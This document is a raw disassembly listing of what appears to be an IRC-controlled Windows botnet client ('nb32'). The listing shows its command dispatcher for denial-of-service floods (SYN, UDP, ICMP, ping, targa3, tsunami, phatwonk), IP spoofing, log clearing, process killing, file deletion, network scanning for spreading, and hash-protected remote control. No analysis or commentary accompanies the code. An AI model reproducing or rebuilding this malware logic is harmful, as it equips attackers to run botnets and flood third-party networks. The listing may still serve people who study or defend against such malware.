pop ecx jz loc_40D77F push [ebp+arg_4] push offset aThreads_list ; "threads.list" call sub_40FB80 pop ecx test eax, eax pop ecx jz loc_40D691 push [ebp+arg_4] push offset aThreads_l ; "threads.l" call sub_40FB80 pop ecx test eax, eax pop ecx jz loc_40D691 push [ebp+arg_4] push offset aNb32_aliases ; "nb32.aliases" call sub_40FB80 pop ecx test eax, eax pop ecx jz loc_40D673 push [ebp+arg_4] push offset aNb32_al ; "nb32.al" call sub_40FB80 pop ecx test eax, eax pop ecx jz loc_40D673 push [ebp+arg_4] push offset aNb32_log ; "nb32.log" call sub_40FB80 pop ecx test eax, eax pop ecx jz loc_40D583 push [ebp+arg_4] push offset aNb32_lg ; "nb32.lg" call sub_40FB80 pop ecx test eax, eax pop ecx jz loc_40D583 push [ebp+arg_4] push offset aUtil_clearlog ; "util.clearlog" call sub_40FB80 pop ecx test eax, eax pop ecx jz loc_40D56C push [ebp+arg_4] push offset aUtil_clg ; "util.clg" call sub_40FB80 pop ecx test eax, eax pop ecx jz loc_40D56C push [ebp+arg_4] push offset aCom_netinfo ; "com.netinfo" call sub_40FB80 pop ecx test eax, eax pop ecx jz loc_40D541 push [ebp+arg_4] push offset aCom_ni ; "com.ni" call sub_40FB80 pop ecx test eax, eax pop ecx jz loc_40D541 push [ebp+arg_4] push offset aCom_sysinfo ; "com.sysinfo" call sub_40FB80 pop ecx test eax, eax pop ecx jz loc_40D50F push [ebp+arg_4] push offset aCom_si ; "com.si" call sub_40FB80 pop ecx test eax, eax pop ecx jz loc_40D50F push [ebp+arg_4] push offset aCom_procs ; "com.procs" call sub_40FB80 pop ecx test eax, eax pop ecx jz loc_40D3F1 push [ebp+arg_4] push offset aCom_ps ; "com.ps" call sub_40FB80 pop ecx test eax, eax pop ecx jz loc_40D3F1 push [ebp+arg_4] push offset aSpoof ; "spoof" call sub_40FB80 pop ecx test eax, eax pop ecx jnz loc_40AFB8 mov esi, [ebp+esi+var_94] push offset aOff ; "off" push esi call sub_40FB80 pop ecx test eax, eax pop ecx jnz short loc_40AEEE lea eax, [ebp+var_578] push offset unk_421658 push eax mov dword_4280D8, ebx call sub_40EE10 pop ecx pop ecx loc_40AEC9: ; CODE XREF: sub_40997B+1638j cmp [ebp+var_8], ebx jnz loc_40DAA2 push ebx lea eax, [ebp+var_578] push [ebp+var_4] push eax push [ebp+var_90] push edi call sub_4084CC jmp loc_40C1ED ; --------------------------------------------------------------------------- loc_40AEEE: ; CODE XREF: sub_40997B+1533j push offset dword_421654 push esi call sub_40FB80 pop ecx test eax, eax pop ecx jnz short loc_40AF74 cmp dword_4280D8, ebx jz short loc_40AF16 push offset dword_427AB8 loc_40AF0C: ; CODE XREF: sub_40997B+15F7j push offset dword_421614 jmp loc_40AFA4 ; --------------------------------------------------------------------------- loc_40AF16: ; CODE XREF: sub_40997B+158Aj push 10h pop eax mov [ebp+arg_4], eax push eax lea eax, [ebp+var_D8] push ebx push eax call sub_40E800 add esp, 0Ch lea eax, [ebp+arg_4] push eax lea eax, [ebp+var_D8] push eax push edi call dword_41A188 ; getsockname movzx eax, byte ptr [ebp+var_D4+2] push eax movzx eax, byte ptr [ebp+var_D4+1] push eax movzx eax, byte ptr [ebp+var_D4] push eax lea eax, [ebp+var_598] push offset aD_D_D_ ; "%d.%d.%d.*" push eax call sub_40EE10 add esp, 14h lea eax, [ebp+var_598] push eax jmp short loc_40AF0C ; --------------------------------------------------------------------------- loc_40AF74: ; CODE XREF: sub_40997B+1582j push esi call dword_427354 ; inet_addr cmp eax, 0FFFFFFFFh push esi jnz short loc_40AF88 push offset unk_4215CC jmp short loc_40AFA4 ; --------------------------------------------------------------------------- loc_40AF88: ; CODE XREF: sub_40997B+1604j push offset dword_427AB8 call sub_40ED20 pop ecx mov dword_4280D8, 1 pop ecx push esi push offset dword_421598 loc_40AFA4: ; CODE XREF: sub_40997B+1596j ; sub_40997B+160Bj lea eax, [ebp+var_578] push eax call sub_40EE10 add esp, 0Ch jmp loc_40AEC9 ; --------------------------------------------------------------------------- loc_40AFB8: ; CODE XREF: sub_40997B+1517j push [ebp+arg_4] push offset aIcmpflood ; "icmpflood" call sub_40FB80 pop ecx test eax, eax pop ecx jz loc_40D2D3 push [ebp+arg_4] push offset aIcmp ; "icmp" call sub_40FB80 pop ecx test eax, eax pop ecx jz loc_40D2D3 push [ebp+arg_4] push offset aTarga3 ; "targa3" call sub_40FB80 pop ecx test eax, eax pop ecx jz loc_40D1F2 push [ebp+arg_4] push offset aT3 ; "t3" call sub_40FB80 pop ecx test eax, eax pop ecx jz loc_40D1F2 push [ebp+arg_4] push offset aTsunami ; "tsunami" call sub_40FB80 pop ecx test eax, eax pop ecx jz loc_40D111 push [ebp+arg_4] push offset dword_42156C call sub_40FB80 pop ecx test eax, eax pop ecx jz loc_40D111 push [ebp+arg_4] push offset dword_41F464 call sub_40FB80 pop ecx test eax, eax pop ecx jz loc_40D003 push [ebp+arg_4] push offset dword_41F45C call sub_40FB80 pop ecx test eax, eax pop ecx jz loc_40D003 push [ebp+arg_4] push offset dword_41F454 call sub_40FB80 pop ecx test eax, eax pop ecx jz loc_40D003 push [ebp+arg_4] push offset dword_421560 call sub_40FB80 pop ecx test eax, eax pop ecx jnz loc_40B1A5 push 7Fh lea eax, [ebp+var_2F4] push [ebp+esi+var_94] push eax call sub_410090 push 7Fh lea eax, [ebp+var_274] push [ebp+esi+var_90] push eax call sub_410090 push 7Fh lea eax, [ebp+var_1F4] push [ebp+esi+var_8C] push eax call sub_410090 push 7Fh lea eax, [ebp+var_174] push [ebp+var_90] push eax call sub_410090 mov eax, [ebp+var_4] push ebx mov [ebp+var_F0], eax mov eax, [ebp+var_8] mov [ebp+var_EC], eax lea eax, [ebp+var_578] push 14h push eax mov [ebp+var_2F8], edi call sub_40E1D6 add esp, 3Ch mov [ebp+var_F4], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_2F8] push ebx push eax push offset sub_406FF0 push ebx push ebx call dword_41A080 ; CreateThread mov ecx, [ebp+var_F4] imul ecx, 234h cmp eax, ebx mov dword_42D2EC[ecx], eax jz short loc_40B162 loc_40B150: ; CODE XREF: sub_40997B+17E5j cmp [ebp+var_E8], ebx jnz short loc_40B17D push 32h call dword_41A060 ; Sleep jmp short loc_40B150 ; --------------------------------------------------------------------------- loc_40B162: ; CODE XREF: sub_40997B+17D3j call dword_41A07C ; RtlGetLastWin32Error push eax push offset dword_421518 loc_40B16E: ; CODE XREF: sub_40997B+1967j ; sub_40997B+27D4j ... lea eax, [ebp+var_578] push eax call sub_40EE10 add esp, 0Ch loc_40B17D: ; CODE XREF: sub_40997B+17DBj ; sub_40997B+194Bj ... cmp [ebp+var_8], ebx jnz loc_40D4FE push ebx push [ebp+var_4] loc_40B18A: ; CODE XREF: sub_40997B+1E8Ej lea eax, [ebp+var_578] push eax push [ebp+var_90] push edi call sub_4084CC add esp, 14h jmp loc_40D4FE ; --------------------------------------------------------------------------- loc_40B1A5: ; CODE XREF: sub_40997B+171Dj push [ebp+arg_4] push offset aSynflood ; "synflood" call sub_40FB80 pop ecx test eax, eax pop ecx jz loc_40CF06 push [ebp+arg_4] push offset aSyn ; "syn" call sub_40FB80 pop ecx test eax, eax pop ecx jz loc_40CF06 push [ebp+arg_4] push offset aSkysyn ; "skysyn" call sub_40FB80 pop ecx test eax, eax pop ecx jnz loc_40B2E7 mov eax, [ebp+esi+var_94] push 7Fh mov [ebp+arg_10], eax push eax lea eax, [ebp+var_2F4] push eax call sub_410090 mov eax, [ebp+esi+var_90] push 7Fh mov [ebp+arg_0], eax push eax lea eax, [ebp+var_274] push eax call sub_410090 mov esi, [ebp+esi+var_8C] push 7Fh lea eax, [ebp+var_1F4] push esi push eax call sub_410090 push 7Fh lea eax, [ebp+var_174] push [ebp+var_90] push eax call sub_410090 mov eax, [ebp+var_4] add esp, 30h mov [ebp+var_F0], eax mov eax, [ebp+var_8] push esi mov [ebp+var_EC], eax push [ebp+arg_0] lea eax, [ebp+var_578] mov [ebp+var_2F8], edi push [ebp+arg_10] push offset dword_4214B8 push eax call sub_40EE10 push ebx lea eax, [ebp+var_578] push 11h push eax call sub_40E1D6 add esp, 20h mov [ebp+var_F4], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_2F8] push ebx push eax push offset sub_406042 push ebx push ebx call dword_41A080 ; CreateThread mov ecx, [ebp+var_F4] imul ecx, 234h cmp eax, ebx mov dword_42D2EC[ecx], eax jz short loc_40B2D6 loc_40B2C0: ; CODE XREF: sub_40997B+1959j cmp [ebp+var_E8], ebx jnz loc_40B17D push 32h call dword_41A060 ; Sleep jmp short loc_40B2C0 ; --------------------------------------------------------------------------- loc_40B2D6: ; CODE XREF: sub_40997B+1943j call dword_41A07C ; RtlGetLastWin32Error push eax push offset dword_421470 jmp loc_40B16E ; --------------------------------------------------------------------------- loc_40B2E7: ; CODE XREF: sub_40997B+1869j push [ebp+arg_4] push offset aPhatwonk ; "phatwonk" call sub_40FB80 pop ecx test eax, eax pop ecx jz loc_40CE09 push [ebp+arg_4] push offset aWonk ; "wonk" call sub_40FB80 pop ecx test eax, eax pop ecx jz loc_40CE09 push [ebp+arg_4] push offset dword_421450 call sub_40FB80 pop ecx test eax, eax pop ecx jz loc_40CD7F push [ebp+arg_4] push offset dword_421448 call sub_40FB80 pop ecx test eax, eax pop ecx jz loc_40CD7F push [ebp+arg_4] push offset dword_42143C call sub_40FB80 pop ecx test eax, eax pop ecx jnz loc_40B3DA cmp [ebp+var_8], ebx jnz short loc_40B377 push ebx push [ebp+var_4] push offset dword_421424 push [ebp+var_90] push edi call sub_4084CC add esp, 14h loc_40B377: ; CODE XREF: sub_40997B+19E2j mov eax, [ebp+arg_18] xor esi, esi mov [ebp+arg_4], eax jmp short loc_40B384 ; --------------------------------------------------------------------------- loc_40B381: ; CODE XREF: sub_40997B+1A4Ej mov eax, [ebp+arg_4] loc_40B384: ; CODE XREF: sub_40997B+1A04j cmp [eax], bl jz short loc_40B38B inc eax jmp short loc_40B390 ; --------------------------------------------------------------------------- loc_40B38B: ; CODE XREF: sub_40997B+1A0Bj mov eax, offset aEmpty ; "<Empty>" loc_40B390: ; CODE XREF: sub_40997B+1A0Ej push eax push esi lea eax, [ebp+var_578] push offset aD_S ; "%d. %s" push eax call sub_40EE10 push 1 lea eax, [ebp+var_578] push [ebp+var_4] push eax push [ebp+var_90] push edi call sub_4084CC add [ebp+arg_4], 80h add esp, 24h inc esi cmp esi, 3 jl short loc_40B381 push offset unk_4213E8 loc_40B3D0: ; CODE XREF: sub_40997B+3DFFj call sub_407A4E jmp loc_40DAA1 ; --------------------------------------------------------------------------- loc_40B3DA: ; CODE XREF: sub_40997B+19D9j push [ebp+arg_4] push offset aUtil_flushdns ; "util.flushdns" call sub_40FB80 pop ecx test eax, eax pop ecx jz loc_40CD47 push [ebp+arg_4] push offset aUtil_fdns ; "util.fdns" call sub_40FB80 pop ecx test eax, eax pop ecx jz loc_40CD47 push [ebp+arg_4] push offset aCurrentip ; "currentip" call sub_40FB80 pop ecx test eax, eax pop ecx jz loc_40CD0C push [ebp+arg_4] push offset dword_4213BC call sub_40FB80 pop ecx test eax, eax pop ecx jz loc_40CD0C mov eax, [ebp+esi+var_94] cmp eax, ebx mov [ebp+arg_10], eax jz loc_409D24 push [ebp+arg_4] push offset dword_4213B8 call sub_40FB80 pop ecx test eax, eax pop ecx jnz loc_40B80E push [ebp+arg_10] lea eax, [ebp+var_5B8] push 40h push eax call sub_40E7AB lea eax, [ebp+var_5B8] push eax call sub_40E730 push eax lea eax, [ebp+var_5B8] push eax call sub_408FD8 add esp, 18h lea eax, [ebp+var_5B8] push eax push offset a3127659d403389 ; "3127659d403389d0911ed325a6e24f12" call dword_41A10C ; lstrcmpi test eax, eax jnz short loc_40B4D8 cmp [ebp+var_8], ebx jnz short loc_40B4BF push ebx push [ebp+var_4] push offset dword_421390 push [ebp+var_90] push edi call sub_4084CC add esp, 14h loc_40B4BF: ; CODE XREF: sub_40997B+1B2Aj push edi call dword_4273AC ; closesocket call dword_427274 ; WSACleanup call sub_404CE2 push ebx call dword_41A0F4 ; ExitProcess loc_40B4D8: ; CODE XREF: sub_40997B+1B25j mov eax, [ebp+esi+var_90] cmp eax, ebx mov [ebp+arg_0], eax jz loc_409D24 mov eax, [ebp+esi+var_8C] cmp eax, ebx mov [ebp+arg_18], eax jz loc_409D24 lea eax, [ebp+var_5B8] push eax push offset a5e4b401fd2dc9f ; "5e4b401fd2dc9fac49cf77c64c91218c" call dword_41A10C ; lstrcmpi test eax, eax jnz loc_40B6B0 push [ebp+arg_18] push offset aHortsfor ; "hortsfor" call sub_40FB80 pop ecx test eax, eax pop ecx jz loc_40B675 lea eax, [ebp+var_1E8] push eax push 104h call dword_41A0D0 ; GetTempPathA push 0FFh lea eax, [ebp+var_9CC] push [ebp+arg_0] push eax call sub_410090 lea eax, [ebp+var_E4] push eax push edi call sub_40DECC add esp, 14h push eax lea eax, [ebp+var_1E8] push eax lea eax, [ebp+var_8CC] push offset dword_421384 push eax call sub_40EE10 mov esi, [ebp+esi+var_84] add esp, 10h cmp esi, ebx mov [ebp+var_7C8], 1 mov [ebp+var_7C4], ebx jz short loc_40B5A9 push esi call sub_40FB66 pop ecx mov [ebp+var_7C0], eax jmp short loc_40B5AF ; --------------------------------------------------------------------------- loc_40B5A9: ; CODE XREF: sub_40997B+1C1Dj mov [ebp+var_7C0], ebx loc_40B5AF: ; CODE XREF: sub_40997B+1C2Cj movzx eax, [ebp+var_6C7] push 7Fh mov [ebp+var_7BC], eax push [ebp+var_90] lea eax, [ebp+var_A4C] mov [ebp+var_A50], edi push eax call sub_410090 mov eax, [ebp+var_4] add esp, 0Ch mov [ebp+var_7B4], eax mov eax, [ebp+var_8] push [ebp+arg_0] mov [ebp+var_7B8], eax lea eax, [ebp+var_578] push offset dword_42134C push eax call sub_40EE10 push edi lea eax, [ebp+var_578] push 1Ch push eax call sub_40E1D6 add esp, 18h mov [ebp+var_7CC], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_A50] push ebx push eax push offset sub_407CCD push ebx push ebx call dword_41A080 ; CreateThread mov ecx, [ebp+var_7CC] imul ecx, 234h cmp eax, ebx mov dword_42D2EC[ecx], eax jz short loc_40B658 loc_40B646: ; CODE XREF: sub_40997B+1CDBj cmp [ebp+var_7B0], ebx jnz short loc_40B688 push 32h call dword_41A060 ; Sleep jmp short loc_40B646 ; --------------------------------------------------------------------------- loc_40B658: ; CODE XREF: sub_40997B+1CC9j call dword_41A07C ; RtlGetLastWin32Error push eax lea eax, [ebp+var_578] push offset dword_421300 push eax call sub_40EE10 add esp, 0Ch jmp short loc_40B688 ; --------------------------------------------------------------------------- loc_40B675: ; CODE XREF: sub_40997B+1BACj push offset unk_4212B0 loc_40B67A: ; CODE XREF: sub_40997B+2A5Fj ; sub_40997B+2A69j lea eax, [ebp+var_578] push eax call sub_40EE10 pop ecx pop ecx loc_40B688: ; CODE XREF: sub_40997B+1CD1j ; sub_40997B+1CF8j cmp [ebp+var_8], ebx jnz loc_40D773 push ebx lea eax, [ebp+var_578] push [ebp+var_4] push eax push [ebp+var_90] push edi call sub_4084CC add esp, 14h jmp loc_40D773 ; --------------------------------------------------------------------------- loc_40B6B0: ; CODE XREF: sub_40997B+1B95j cmp [ebp+esi+var_88], ebx jz loc_409D24 lea eax, [ebp+var_5B8] push eax push offset aEae2a4a6649ddf ; "eae2a4a6649ddf699412d162c4337675" call dword_41A10C ; lstrcmpi test eax, eax jnz loc_409D24 push 0FFh lea eax, [ebp+var_9CC] push [ebp+arg_0] push eax call sub_410090 push 0FFh lea eax, [ebp+var_8CC] push [ebp+arg_18] push eax call sub_410090 push [ebp+esi+var_88] mov [ebp+var_7C8], ebx call sub_40FB66 mov esi, [ebp+esi+var_80] add esp, 1Ch cmp esi, ebx mov [ebp+var_7C4], eax jz short loc_40B731 push esi call sub_40FB66 pop ecx mov [ebp+var_7C0], eax jmp short loc_40B737 ; --------------------------------------------------------------------------- loc_40B731: ; CODE XREF: sub_40997B+1DA5j mov [ebp+var_7C0], ebx loc_40B737: ; CODE XREF: sub_40997B+1DB4j movzx eax, [ebp+var_6C7] push 7Fh mov [ebp+var_7BC], eax push [ebp+var_90] lea eax, [ebp+var_A4C] mov [ebp+var_A50], edi push eax call sub_410090 mov eax, [ebp+var_8] add esp, 0Ch mov esi, [ebp+var_4] mov [ebp+var_7B8], eax push [ebp+arg_18] lea eax, [ebp+var_578] mov [ebp+var_7B4], esi push [ebp+arg_0] push offset dword_42126C push eax call sub_40EE10 push edi lea eax, [ebp+var_578] push 1Bh push eax call sub_40E1D6 add esp, 1Ch mov [ebp+var_7CC], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_A50] push ebx push eax push offset sub_407CCD push ebx push ebx call dword_41A080 ; CreateThread mov ecx, [ebp+var_7CC] imul ecx, 234h cmp eax, ebx mov dword_42D2EC[ecx], eax jz short loc_40B7E3 loc_40B7D1: ; CODE XREF: sub_40997B+1E66j cmp [ebp+var_7B0], ebx jnz short loc_40B7FE push 32h call dword_41A060 ; Sleep jmp short loc_40B7D1 ; --------------------------------------------------------------------------- loc_40B7E3: ; CODE XREF: sub_40997B+1E54j call dword_41A07C ; RtlGetLastWin32Error push eax lea eax, [ebp+var_578] push offset dword_421220 push eax call sub_40EE10 add esp, 0Ch loc_40B7FE: ; CODE XREF: sub_40997B+1E5Cj cmp [ebp+var_8], ebx jnz loc_40D4FE push ebx push esi jmp loc_40B18A ; --------------------------------------------------------------------------- loc_40B80E: ; CODE XREF: sub_40997B+1ADEj push [ebp+arg_4] push offset aAsc ; "asc" call sub_40FB80 pop ecx test eax, eax pop ecx jz loc_40C8BF push [ebp+arg_4] push offset aAs ; "as" call sub_40FB80 pop ecx test eax, eax pop ecx jz loc_40C8BF push [ebp+arg_4] push offset aUdpflood ; "udpflood" call sub_40FB80 pop ecx test eax, eax pop ecx jz loc_40C78E push [ebp+arg_4] push offset aUdp ; "udp" call sub_40FB80 pop ecx test eax, eax pop ecx jz loc_40C78E push [ebp+arg_4] push offset aU ; "u" call sub_40FB80 pop ecx test eax, eax pop ecx jz loc_40C78E push [ebp+arg_4] push offset aPingflood ; "pingflood" call sub_40FB80 pop ecx test eax, eax pop ecx jz loc_40C659 push [ebp+arg_4] push offset aPing_0 ; "ping" call sub_40FB80 pop ecx test eax, eax pop ecx jz loc_40C659 push [ebp+arg_4] push offset aP ; "p" call sub_40FB80 pop ecx test eax, eax pop ecx jz loc_40C659 push [ebp+arg_4] push offset aNb32_nick ; "nb32.nick" call sub_40FB80 pop ecx test eax, eax pop ecx jz loc_40C63B push [ebp+arg_4] push offset aNb32_n ; "nb32.n" call sub_40FB80 pop ecx test eax, eax pop ecx jz loc_40C63B push [ebp+arg_4] push offset aNb32_join ; "nb32.join" call sub_40FB80 pop ecx test eax, eax pop ecx jz loc_40C616 push [ebp+arg_4] push offset aNb32_j ; "nb32.j" call sub_40FB80 pop ecx test eax, eax pop ecx jz loc_40C616 push [ebp+arg_4] push offset aNb32_part ; "nb32.part" call sub_40FB80 pop ecx test eax, eax pop ecx jz loc_40C5F8 push [ebp+arg_4] push offset aNb32_pt ; "nb32.pt" call sub_40FB80 pop ecx test eax, eax pop ecx jz loc_40C5F8 push [ebp+arg_4] push offset aNb32_raw ; "nb32.raw" call sub_40FB80 pop ecx test eax, eax pop ecx jz loc_40C5BE push [ebp+arg_4] push offset aNb32_ra ; "nb32.ra" call sub_40FB80 pop ecx test eax, eax pop ecx jz loc_40C5BE push [ebp+arg_4] push offset aThreads_kill ; "threads.kill" call sub_40FB80 pop ecx test eax, eax pop ecx jz loc_40C4F7 push [ebp+arg_4] push offset aThreads_k ; "threads.k" call sub_40FB80 pop ecx test eax, eax pop ecx jz loc_40C4F7 push [ebp+arg_4] push offset aNb32_setserve ; "nb32.setserve" call sub_40FB80 pop ecx test eax, eax pop ecx jz loc_40C4DA push [ebp+arg_4] push offset aNb32_se ; "nb32.se" call sub_40FB80 pop ecx test eax, eax pop ecx jz loc_40C4DA push [ebp+arg_4] push offset aCom_killprocna ; "com.killprocname" call sub_40FB80 pop ecx test eax, eax pop ecx jz loc_40C4AC push [ebp+arg_4] push offset aCom_kpn ; "com.kpn" call sub_40FB80 pop ecx test eax, eax pop ecx jz loc_40C4AC push [ebp+arg_4] push offset aCom_prockillid ; "com.prockillid" call sub_40FB80 pop ecx test eax, eax pop ecx jz loc_40C456 push [ebp+arg_4] push offset aCom_pkid ; "com.pkid" call sub_40FB80 pop ecx test eax, eax pop ecx jz loc_40C456 push [ebp+arg_4] push offset aCom_delete ; "com.delete" call sub_40FB80 pop ecx test eax, eax pop ecx jz loc_40C3E9 push [ebp+arg_4] push offset aCom_del ; "com.del" call sub_40FB80 pop ecx test eax, eax pop ecx jz loc_40C3E9 push [ebp+arg_4] push offset aMirc_cmd ; "mirc.cmd" call sub_40FB80 pop ecx test eax, eax pop ecx jz loc_40C3AC push [ebp+arg_4] push offset aMirc_cmd ; "mirc.cmd" call sub_40FB80 pop ecx test eax, eax pop ecx jz loc_40C3AC push [ebp+arg_4] push offset aNb32_gethost ; "nb32.gethost" call sub_40FB80 pop ecx test eax, eax pop ecx jz loc_40C2BC push [ebp+arg_4] push offset aNb32_gh ; "nb32.gh" call sub_40FB80 pop ecx test eax, eax pop ecx jz loc_40C2BC mov eax, [ebp+esi+var_90] cmp eax, ebx mov [ebp+arg_0], eax jz loc_409D24 push [ebp+arg_4] push offset aNb32_privmsg ; "nb32.privmsg" call sub_40FB80 pop ecx test eax, eax pop ecx jz loc_40C26A push [ebp+arg_4] push offset aNb32_pm ; "nb32.pm" call sub_40FB80 pop ecx test eax, eax pop ecx jz loc_40C26A push [ebp+arg_4] push offset aNb32_action ; "nb32.action" call sub_40FB80 pop ecx test eax, eax pop ecx jz loc_40C1F5 push [ebp+arg_4] push offset aNb32_ac ; "nb32.ac" call sub_40FB80 pop ecx test eax, eax pop ecx jz loc_40C1F5 push [ebp+arg_4] push offset aNb32_cycle ; "nb32.cycle" call sub_40FB80 pop ecx test eax, eax pop ecx jz loc_40C18E push [ebp+arg_4] push offset aNb32_cy ; "nb32.cy" call sub_40FB80 pop ecx test eax, eax pop ecx jz loc_40C18E push [ebp+arg_4] push offset aNb32_mode ; "nb32.mode" call sub_40FB80 pop ecx test eax, eax pop ecx jz loc_40C154 push [ebp+arg_4] push offset aNb32_m ; "nb32.m" call sub_40FB80 pop ecx test eax, eax pop ecx jz loc_40C154 mov eax, [ebp+esi+var_8C] cmp eax, ebx mov [ebp+arg_18], eax jz loc_409D24 mov eax, [ebp+esi+var_88] cmp eax, ebx mov [ebp+arg_8], eax jz loc_409D24 push [ebp+arg_4] push offset aAdvscan ; "advscan" call sub_40FB80 pop ecx test eax, eax pop ecx jnz loc_40DAA2 push edi call sub_404F3A push eax call sub_404E6A pop ecx test eax, eax pop ecx jz short loc_40BC01 push [ebp+var_90] push offset aF_1 ; "#f" call dword_41A10C ; lstrcmpi test eax, eax jz short loc_40BC01 cmp [ebp+var_6C0], bl jz short loc_40BC01 push [ebp+arg_C] push offset aF_1 ; "#f" jmp loc_40C8F3 ; --------------------------------------------------------------------------- loc_40BC01: ; CODE XREF: sub_40997B+225Aj ; sub_40997B+226Fj ... push 8 call sub_40E41E push [ebp+arg_0] mov [ebp+arg_4], eax call sub_40FB66 add eax, [ebp+arg_4] pop ecx pop ecx cmp eax, 320h jle short loc_40BC52 push [ebp+arg_4] lea eax, [ebp+var_578] push offset unk_421050 push eax call sub_40EE10 push ebx lea eax, [ebp+var_578] push [ebp+var_4] push eax push [ebp+var_90] push edi call sub_4084CC add esp, 20h jmp loc_40DAA2 ; --------------------------------------------------------------------------- loc_40BC52: ; CODE XREF: sub_40997B+22A2j push [ebp+arg_10] call sub_40FB66 push [ebp+arg_0] mov [ebp+var_11C], eax call sub_40FB66 push [ebp+arg_18] mov [ebp+var_104], eax call sub_40FB66 add esp, 0Ch cmp eax, 5 mov [ebp+var_118], eax jnb short loc_40BC8D push 5 pop eax mov [ebp+var_118], eax loc_40BC8D: ; CODE XREF: sub_40997B+2307j push 3Ch pop ecx cmp eax, ecx jbe short loc_40BC9A mov [ebp+var_118], ecx loc_40BC9A: ; CODE XREF: sub_40997B+2317j push [ebp+arg_8] call sub_40FB66 cmp eax, 320h pop ecx mov [ebp+var_114], eax jbe short loc_40BCBA mov [ebp+var_114], 320h loc_40BCBA: ; CODE XREF: sub_40997B+2333j or [ebp+var_100], 0FFFFFFFFh cmp dword_41E0F8, ebx mov [ebp+arg_8], ebx jz short loc_40BD12 mov [ebp+arg_24], offset dword_41E0F8 loc_40BCD3: ; CODE XREF: sub_40997B+2379j mov eax, [ebp+arg_24] push [ebp+arg_10] add eax, 0FFFFFFD8h push eax call sub_40FB80 pop ecx test eax, eax pop ecx jz short loc_40BCF8 add [ebp+arg_24], 38h inc [ebp+arg_8] mov eax, [ebp+arg_24] cmp [eax], ebx jnz short loc_40BCD3 jmp short loc_40BD12 ; --------------------------------------------------------------------------- loc_40BCF8: ; CODE XREF: sub_40997B+236Bj mov eax, [ebp+arg_8] mov ecx, eax mov [ebp+var_100], eax imul ecx, 38h mov ecx, dword_41E0F8[ecx] mov [ebp+var_11C], ecx loc_40BD12: ; CODE XREF: sub_40997B+234Fj ; sub_40997B+237Bj cmp [ebp+var_11C], ebx jnz short loc_40BD24 loc_40BD1A: ; CODE XREF: sub_40997B+306Ej push offset unk_421014 jmp loc_40D3DE ; --------------------------------------------------------------------------- loc_40BD24: ; CODE XREF: sub_40997B+239Dj mov eax, [ebp+esi+var_84] cmp eax, ebx mov [ebp+arg_10], eax jz loc_40BE65 cmp byte ptr [eax], 23h jz loc_40BE65 push eax lea eax, [ebp+var_230] push 10h push eax call sub_40E7AB push 78h push [ebp+arg_10] call sub_410AA0 add esp, 14h neg eax sbb eax, eax neg eax cmp [ebp+var_6B3], bl mov [ebp+var_F0], eax jnz short loc_40BD7B cmp [ebp+var_6B5], bl jz loc_40C027 loc_40BD7B: ; CODE XREF: sub_40997B+23F2j or eax, 0FFFFFFFFh mov [ebp+arg_C], eax mov [ebp+arg_0], eax mov [ebp+arg_4], eax mov [ebp+arg_18], eax lea eax, [ebp+arg_18] push eax lea eax, [ebp+arg_4] push eax lea eax, [ebp+arg_0] push eax lea eax, [ebp+arg_C] push eax lea eax, [ebp+var_230] push offset dword_41E35C push eax call sub_40F871 add esp, 18h cmp [ebp+arg_0], 0FFFFFFFFh jnz short loc_40BDD3 call sub_410198 mov [ebp+arg_24], eax fild [ebp+arg_24] fmul dbl_41A2C0 fmul dbl_41A2B8 call sub_40EF84 mov [ebp+arg_0], eax loc_40BDD3: ; CODE XREF: sub_40997B+2437j cmp [ebp+arg_4], 0FFFFFFFFh jnz short loc_40BDDC mov [ebp+arg_4], ebx loc_40BDDC: ; CODE XREF: sub_40997B+245Cj mov eax, [ebp+arg_18] cmp eax, 0FFFFFFFFh jnz short loc_40BDE9 xor eax, eax mov [ebp+arg_18], eax loc_40BDE9: ; CODE XREF: sub_40997B+2467j shl eax, 8 add eax, [ebp+arg_4] shl eax, 8 add eax, [ebp+arg_0] shl eax, 8 add eax, [ebp+arg_C] push eax call dword_4273A0 ; inet_ntoa push eax lea eax, [ebp+var_230] push offset dword_41FB7C push eax call sub_40EE10 add esp, 0Ch cmp [ebp+var_6B5], bl mov [ebp+var_F0], ebx jz loc_40C027 lea eax, [ebp+var_230] push 30h push eax call sub_410A60 pop ecx mov byte ptr [ebp+arg_24+3], bl pop ecx loc_40BE3C: ; CODE XREF: sub_40997B+24E3j cmp eax, ebx jz loc_40C01D mov byte ptr [eax], 78h lea eax, [ebp+var_230] push 30h push eax call sub_410A60 inc byte ptr [ebp+arg_24+3] pop ecx cmp byte ptr [ebp+arg_24+3], 2 pop ecx jl short loc_40BE3C jmp loc_40C01D ; --------------------------------------------------------------------------- loc_40BE65: ; CODE XREF: sub_40997B+23B5j ; sub_40997B+23BEj cmp [ebp+var_6CB], bl jnz short loc_40BE97 cmp [ebp+var_6CA], bl jnz short loc_40BE97 cmp [ebp+var_6BA], bl jnz short loc_40BE97 cmp [ebp+var_6B3], bl jnz short loc_40BE97 cmp [ebp+var_6B5], bl jnz short loc_40BE97 loc_40BE8D: ; CODE XREF: sub_40997B+309Aj push offset unk_420FD8 jmp loc_40D3DE ; --------------------------------------------------------------------------- loc_40BE97: ; CODE XREF: sub_40997B+24F0j ; sub_40997B+24F8j ... lea eax, [ebp+arg_8] mov [ebp+arg_8], 10h push eax lea eax, [ebp+var_D8] push eax push edi call dword_4272B8 ; getsockname mov al, [ebp+var_6CB] push 10h neg al sbb eax, eax and ax, 100h add eax, 0FFFFh and [ebp+var_D4], eax push [ebp+var_D4] call dword_4273A0 ; inet_ntoa push eax lea eax, [ebp+var_230] push eax call sub_410090 add esp, 0Ch cmp [ebp+var_6BA], bl jz short loc_40BF47 xor eax, eax cmp [ebp+var_6CB], bl push 30h setnz al inc eax inc eax mov [ebp+arg_4], eax lea eax, [ebp+var_230] push eax call sub_410A60 cmp [ebp+arg_4], ebx pop ecx pop ecx mov byte ptr [ebp+arg_24+3], bl jle loc_40C01D loc_40BF1B: ; CODE XREF: sub_40997B+25C5j cmp eax, ebx jz loc_40C01D mov byte ptr [eax], 78h lea eax, [ebp+var_230] push 30h push eax call sub_410A60 inc byte ptr [ebp+arg_24+3] pop ecx pop ecx movsx ecx, byte ptr [ebp+arg_24+3] cmp ecx, [ebp+arg_4] jl short loc_40BF1B jmp loc_40C01D ; --------------------------------------------------------------------------- loc_40BF47: ; CODE XREF: sub_40997B+2572j cmp [ebp+var_6B3], bl jnz short loc_40BF62 